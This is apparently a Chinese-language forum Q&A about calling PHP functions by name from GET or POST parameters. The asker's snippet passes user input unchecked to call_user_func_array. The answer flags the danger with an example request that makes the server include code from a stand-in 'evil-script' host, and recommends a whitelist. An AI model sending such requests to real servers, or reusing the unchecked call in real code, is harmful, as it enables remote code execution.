问题描述
假设我在文件 functions.php
中有以下函数:
function foo($baz,$qux = 2,$quux = 3){
echo 'foo: $baz - $qux - $quux';
}
function bar($baz,$qux = 5,$quux = 6){
echo 'bar: $baz - $qux - $quux';
}
现在我希望能够使用 GET(或 POST)调用这些函数。 例如
- 如果我导航到
/functions.php?call_func=foo&baz=1&qux=4
,这应该打印foo: 1 - 4 - 3
, - 如果我转到
/functions.php?call_func=bar&baz=7&quux=3
,它应该打印bar: 7 - 5 - 3
。
使用 call_user_func_array
之类的方法,我将能够实现部分功能,但不是全部,因为它无法处理关联数组。所以我会设想类似的东西(通过适当的安全检查):
$function_name = $_GET['call_func'];
unset($_GET['call_func']);
call_user_func_array($function_name,$_GET);
但是,这不处理关联数组,因此第二个示例调用 (/functions.php?call_func=bar&baz=7&quux=3
) 会将 quux
参数传递给 qux
而不是 quux
。>
是否有从 GET 或 POST 请求调用不同函数的正确方法?
解决方法
首先,您的实施在信息安全方面存在风险。 通过这种方式可以调用任何函数。 想象一下,如果恶意攻击者发送了
call_func=include&baz=http://evil-script&quux=null
最安全的解决方案,也将满足您的问题的要求,是使用“白名单”,其中包含可以调用的函数,以及允许它们接受哪些参数